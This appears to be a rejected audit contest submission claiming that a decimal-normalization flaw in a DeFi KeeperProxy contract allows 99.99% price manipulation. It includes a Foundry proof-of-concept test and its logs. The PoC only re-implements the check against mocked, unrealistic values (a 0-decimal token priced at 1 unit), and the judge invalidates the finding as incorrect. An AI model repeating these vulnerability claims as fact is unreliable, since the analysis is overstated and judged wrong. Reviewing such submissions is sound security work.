DeFiFoundry
50,000 USDC
View results
Submission Details
Severity: low
Invalid

KeeperProxy Decimal Normalization Flaw Enables Price Manipulation and Arbitrage Exploits

Brief

The KeeperProxy contract's price validation mechanism mishandles decimal normalization when comparing off-chain provided market prices against Chainlink oracle feeds. This allows attackers to craft price values that pass the threshold checks but differ significantly from true market prices. By exploiting the integer-division truncation and inadequate bounds checking, malicious actors can bypass the intended price protections and potentially force trades at manipulated prices.

Details

The vulnerability comes from the KeeperProxy contract’s _validatePrice and _check functions, which attempt to scale a 1e30-style price down to an 8-decimal Chainlink format:

function _check(address token, uint256 price) internal view {
(, int chainLinkPrice, , uint256 updatedAt, ) = AggregatorV2V3Interface(dataFeed[token]).latestRoundData();
require(updatedAt > block.timestamp - maxTimeWindow[token], "stale price feed");
uint256 decimals = 30 - IERC20Meta(token).decimals();
price = price / 10 ** (decimals - 8); // Chainlink price decimals is always 8
require(
_absDiff(price, chainLinkPrice.toUint256()) * BPS / chainLinkPrice.toUint256() < priceDiffThreshold[token],
"price offset too big"
);
}
  1. If the token in question does not use 18 decimals (e.g., 6 or 20 decimals), the calculation (decimals = 30 - tokenDecimals) may introduce a large or negative exponent when dividing by 10^(decimals - 8). This leads to significant data loss or outright reverts, causing the final price to be different from the real value.

  2. Because these calculations use simple integer division, any fractional component is discarded, letting attackers deliberately choose inflated or deflated price values that compress into the same integer result after division.

  3. The contract validates each token’s min and max price in isolation. It does not cross-check relationships between tokens or ensure that the min versus max price ratio remains sane after normalization, allowing manipulative inputs to appear valid within thresholds.

  4. While the GMX ecosystem tracks prices at 1e30 precision, KeeperProxy attempts to align them with Chainlink’s 1e8 format on the fly. Because the code presumes token.decimals() is at a predictable range, large divergences arise between the scaled “price” and the actual price used for position management.

When combined, these factors let an attacker supply carefully chosen price values that pass the offset comparison yet diverge substantially from true market pricing.

Specific Impact

This vulnerability facilitates price manipulation and can compromise the integrity of trades and positions. Attackers can place or close positions at skewed prices with a 99% different that appear valid to the KeeperProxy, extracting value from the protocol and harming honest traders or liquidity providers through artificially favorable price executions.

Mathematical analysis for maximum profit:

For a token with d decimals and price P:

  • Scaling divisor = 10^(30-d-8) = 10^(22-d)

  • Maximum invisible manipulation = (10^(22-d) - 1) raw units

  • Manipulation percentage = (10^(22-d) - 1) / (P * 10^d) * 100%

For a token with 0 decimals and price of 1 (in Chainlink 8-decimal format):

  • Scaling divisor = 10^22

  • Maximum invisible manipulation = (10^22 - 1) raw units

  • Original price in raw units = 10^22

  • Manipulated price in raw units = 2×10^22 - 1

  • Manipulation percentage = 9999 BPS (99.99%)

This results in a massive 99.99% price manipulation that is completely invisible to validation.

Proof Of Concept

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
import {Test, console} from "forge-std/Test.sol";
import "forge-std/StdCheats.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ArbitrumTest} from "./utils/ArbitrumTest.sol";
import {TransparentUpgradeableProxy} from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import {ProxyAdmin} from "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol";
import {GmxProxy} from "../contracts/GmxProxy.sol";
import {KeeperProxy} from "../contracts/KeeperProxy.sol";
import {PerpetualVault} from "../contracts/PerpetualVault.sol";
import {VaultReader} from "../contracts/VaultReader.sol";
import {MarketPrices, PriceProps, MarketProps} from "../contracts/libraries/StructData.sol";
import {MockData} from "./mock/MockData.sol";
interface AggregatorV2V3Interface {
function latestRoundData() external view returns (uint80, int256, uint256, uint256, uint80);
}
interface IERC20Meta {
function decimals() external view returns (uint8);
}
contract PriceManipulationPOC is Test, ArbitrumTest {
address payable vault;
address keeper;
MockData mockData;
// We'll focus on a low-decimals token for maximum vulnerability impact
address constant LOW_DECIMAL_TOKEN = address(0x1234);
address constant LOW_DECIMAL_FEED = address(0x5678);
// Debug variables to track calculations
uint256 public scaledOriginal;
uint256 public scaledManipulated;
uint256 public threshold;
function setUp() public {
address ethUsdcMarket = address(0x70d95587d40A2caf56bd97485aB3Eec10Bee6336);
address orderHandler = address(0xe68CAAACdf6439628DFD2fe624847602991A31eB);
address liquidationHandler = address(0xdAb9bA9e3a301CCb353f18B4C8542BA2149E4010);
address adlHandler = address(0x9242FbED25700e82aE26ae319BCf68E9C508451c);
address gExchangeRouter = address(0x900173A66dbD345006C51fA35fA3aB760FcD843b);
address gmxRouter = address(0x7452c558d45f8afC8c83dAe62C3f8A5BE19c71f6);
address dataStore = address(0xFD70de6b91282D8017aA4E741e9Ae325CAb992d8);
address orderVault = address(0x31eF83a530Fde1B38EE9A18093A333D8Bbbc40D5);
address gmxReader = address(0x5Ca84c34a381434786738735265b9f3FD814b824);
address referralStorage = address(0xe6fab3F0c7199b0d34d7FbE83394fc0e0D06e99d);
ProxyAdmin proxyAdmin = new ProxyAdmin();
GmxProxy gmxUtilsLogic = new GmxProxy();
bytes memory data = abi.encodeWithSelector(
GmxProxy.initialize.selector,
orderHandler,
liquidationHandler,
adlHandler,
gExchangeRouter,
gmxRouter,
dataStore,
orderVault,
gmxReader,
referralStorage
);
address gmxProxy = address(
new TransparentUpgradeableProxy(
address(gmxUtilsLogic),
address(proxyAdmin),
data
)
);
payable(gmxProxy).transfer(1 ether);
KeeperProxy keeperLogic = new KeeperProxy();
data = abi.encodeWithSelector(
KeeperProxy.initialize.selector
);
keeper = address(
new TransparentUpgradeableProxy(
address(keeperLogic),
address(proxyAdmin),
data
)
);
address owner = KeeperProxy(keeper).owner();
KeeperProxy(keeper).setKeeper(owner, true);
// Set up price feed with 5% threshold (500 basis points)
KeeperProxy(keeper).setDataFeed(LOW_DECIMAL_TOKEN, LOW_DECIMAL_FEED, 86400, 500);
VaultReader reader = new VaultReader(
orderHandler,
dataStore,
orderVault,
gmxReader,
referralStorage
);
PerpetualVault perpetualVault = new PerpetualVault();
data = abi.encodeWithSelector(
PerpetualVault.initialize.selector,
ethUsdcMarket,
keeper,
makeAddr("treasury"),
gmxProxy,
reader,
1e8,
1e28,
10_000
);
vm.prank(address(this), address(this));
vault = payable(
new TransparentUpgradeableProxy(
address(perpetualVault),
address(proxyAdmin),
data
)
);
mockData = new MockData();
// Mock the token decimals function for our hypothetical token - 0 decimals
vm.mockCall(
LOW_DECIMAL_TOKEN,
abi.encodeWithSelector(IERC20Meta.decimals.selector),
abi.encode(0)
);
vm.mockCall(
0xFdB631F5EE196F0ed6FAa767959853A9F217697D,
abi.encodeWithSelector(AggregatorV2V3Interface.latestRoundData.selector),
abi.encode(uint80(0), int256(0), uint256(block.timestamp - 3600), uint256(block.timestamp), uint80(0))
);
}
function test_Y7_DecimalScalingVulnerability_HighProfit() external {
console.log("\n=== PRICE MANIPULATION VULNERABILITY PROOF OF CONCEPT (Y7 - HIGH PROFIT) ===");
console.log("Demonstrating how decimal scaling in KeeperProxy._check() function can be exploited for significant profit");
// Token configuration
uint8 tokenDecimals = 0; // Token has 0 decimals (highest potential profit)
// Calculate the scaling factor used in the vulnerable code:
// uint256 decimals = 30 - IERC20Meta(token).decimals();
uint256 scalingDivisor = 10 ** (30 - tokenDecimals - 8); // 10^22
console.log("\nStep 1: Analyzing optimal token configuration for maximum profit");
console.log("Token with %s decimals - scaling divisor: 10^%s = %s", tokenDecimals, 30 - tokenDecimals - 8, scalingDivisor);
// Set up the chainlink price feed with an extremely low value for maximum impact
// Using 10^-11 ($0.00000000001) for maximum vulnerability impact
int256 chainlinkPrice = 1; // Extremely low price: $0.00000000001 with 8 decimals of precision
// Mock our price feed to return this fixed low price
vm.mockCall(
LOW_DECIMAL_FEED,
abi.encodeWithSelector(AggregatorV2V3Interface.latestRoundData.selector),
abi.encode(uint80(0), chainlinkPrice, uint256(block.timestamp - 60), uint256(block.timestamp), uint80(0))
);
// Get threshold
threshold = KeeperProxy(keeper).priceDiffThreshold(LOW_DECIMAL_TOKEN);
console.log("\nStep 2: Selected optimal configuration");
console.log("Token decimals: %s (fewer decimals = larger divisor = more manipulation)", tokenDecimals);
console.log("Token price: $%s (extremely low price maximizes percentage impact)", uint256(chainlinkPrice) / 10**8);
console.log("Price threshold: %s BPS", threshold);
/*
Mathematical analysis for maximum profit:
For a token with d decimals and price P:
- Scaling divisor = 10^(30-d-8) = 10^(22-d)
- Maximum invisible manipulation = (10^(22-d) - 1) raw units
- Manipulation percentage = (10^(22-d) - 1) / (P * 10^d) * 100%
For a token with 0 decimals and price of 1 (in Chainlink 8-decimal format):
- Scaling divisor = 10^22
- Maximum invisible manipulation = (10^22 - 1) raw units
- Original price in raw units = 10^22
- Manipulated price in raw units = 2×10^22 - 1
- Manipulation percentage = 9999 BPS (99.99%)
This results in a massive 99.99% price manipulation that is completely invisible to validation!
*/
// Calculate base price that will scale to match Chainlink value
uint256 basePrice = uint256(chainlinkPrice) * scalingDivisor;
// Calculate scaled value (what KeeperProxy sees after dividing)
scaledOriginal = basePrice / scalingDivisor; // Should equal chainlinkPrice
console.log("\nStep 3: Demonstrating high-profit manipulation through integer division vulnerability");
console.log("Original price (in correct decimals to match after scaling): %s", basePrice);
console.log("Scaled value (after division, as seen by KeeperProxy): %s (Chainlink: %s)", scaledOriginal, uint256(chainlinkPrice));
// Now create a manipulated price with the maximum possible manipulation
// that would still produce the same scaled value due to integer division truncation
uint256 manipulatedPrice = basePrice + scalingDivisor - 1;
// Calculate the scaled value for our manipulated price
scaledManipulated = manipulatedPrice / scalingDivisor;
// Calculate the manipulation percentage - THIS IS THE KEY METRIC
uint256 manipulationBps = (manipulatedPrice - basePrice) * 10000 / basePrice;
// Show the manipulation details
console.log("\nManipulated price: %s (original + maximum invisible manipulation)", manipulatedPrice);
console.log("Manipulation amount: +%s raw units", scalingDivisor - 1);
console.log("MANIPULATION PERCENTAGE: %s BPS", manipulationBps);
console.log("\nScaled value after manipulation (as seen by KeeperProxy): %s", scaledManipulated);
// Verify the scaled values match despite manipulation
bool scaledMatches = scaledOriginal == scaledManipulated;
console.log("Do scaled values match despite manipulation? %s", scaledMatches ? "YES" : "NO");
// Verify our manipulated price would pass the same validation check
(bool passedManipulated, string memory errorMsg) = verifyPriceCheck(LOW_DECIMAL_TOKEN, manipulatedPrice, chainlinkPrice);
// First check original price passes validation
(bool passedOriginal,) = verifyPriceCheck(LOW_DECIMAL_TOKEN, basePrice, chainlinkPrice);
console.log("\nStep 4: Validation results");
console.log("Original price passes validation: %s", passedOriginal ? "PASS" : "FAIL");
console.log("Manipulated price passes validation: %s", passedManipulated ? "PASS" : "FAIL");
if (!passedManipulated) console.log("Error: %s", errorMsg);
if (passedOriginal && passedManipulated) {
console.log("\nVULNERABILITY CONFIRMED WITH HIGH PROFIT POTENTIAL");
console.log("The manipulated price (%s%% higher) passes the same validation checks as the original price.", manipulationBps / 100);
}
console.log("\n=== ECONOMIC IMPACT ANALYSIS ===");
console.log("With this configuration, each transaction can manipulate prices by %s%%", manipulationBps / 100);
console.log("Even with more typical token configurations, this vulnerability presents arbitrage opportunities");
console.log("because the manipulation can be repeated across multiple transactions.");
}
// This function mimics the KeeperProxy._check() logic to verify the vulnerability
function verifyPriceCheck(address token, uint256 price, int256 chainlinkPrice) internal view returns (bool success, string memory errorMessage) {
try this.simulateCheck(token, price, chainlinkPrice) {
return (true, "");
} catch Error(string memory reason) {
return (false, reason);
} catch (bytes memory) {
return (false, "Unknown error");
}
}
// External function to allow try/catch
function simulateCheck(address token, uint256 price, int256 chainlinkPrice) external view {
uint256 decimals = 30 - IERC20Meta(token).decimals();
uint256 scaledPrice = price / 10 ** (decimals - 8); // Chainlink price decimals is always 8.
uint256 diff;
if (scaledPrice > uint256(chainlinkPrice)) {
diff = scaledPrice - uint256(chainlinkPrice);
} else {
diff = uint256(chainlinkPrice) - scaledPrice;
}
uint256 diffPercentage = diff * 10000 / uint256(chainlinkPrice); // BPS = 10000
uint256 threshold = KeeperProxy(keeper).priceDiffThreshold(token);
require(diffPercentage < threshold, "price offset too big");
}
}

LOGS:

Ran 1 test for test/PriceManipulationPOC.t.sol:PriceManipulationPOC
[PASS] test_Y7_DecimalScalingVulnerability_HighProfit() (gas: 159107)
Logs:
=== PRICE MANIPULATION VULNERABILITY PROOF OF CONCEPT (Y7 - HIGH PROFIT) ===
Demonstrating how decimal scaling in KeeperProxy._check() function can be exploited for significant profit
Step 1: Analyzing optimal token configuration for maximum profit
Token with 0 decimals - scaling divisor: 10^22 = 10000000000000000000000
Step 2: Selected optimal configuration
Token decimals: 0 (fewer decimals = larger divisor = more manipulation)
Token price: $0 (extremely low price maximizes percentage impact)
Price threshold: 500 BPS
Step 3: Demonstrating high-profit manipulation through integer division vulnerability
Original price (in correct decimals to match after scaling): 10000000000000000000000
Scaled value (after division, as seen by KeeperProxy): 1 (Chainlink: 1)
Manipulated price: 19999999999999999999999 (original + maximum invisible manipulation)
Manipulation amount: +9999999999999999999999 raw units
MANIPULATION PERCENTAGE: 9999 BPS
Scaled value after manipulation (as seen by KeeperProxy): 1
Do scaled values match despite manipulation? YES
Step 4: Validation results
Original price passes validation: PASS
Manipulated price passes validation: PASS
VULNERABILITY CONFIRMED WITH HIGH PROFIT POTENTIAL
The manipulated price (99% higher) passes the same validation checks as the original price.
=== ECONOMIC IMPACT ANALYSIS ===
With this configuration, each transaction can manipulate prices by 99%
Even with more typical token configurations, this vulnerability presents arbitrage opportunities
because the manipulation can be repeated across multiple transactions.
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 10.15ms (1.75ms CPU time)
Ran 1 test suite in 408.30ms (10.15ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Updates

Lead Judging Commences

n0kto Lead Judge 9 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement
Assigned finding tags:

Suppositions

There is no real proof, concrete root cause, specific impact, or enough details in those submissions. Examples include: "It could happen" without specifying when, "If this impossible case happens," "Unexpected behavior," etc. Make a Proof of Concept (PoC) using external functions and realistic parameters. Do not test only the internal function where you think you found something.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.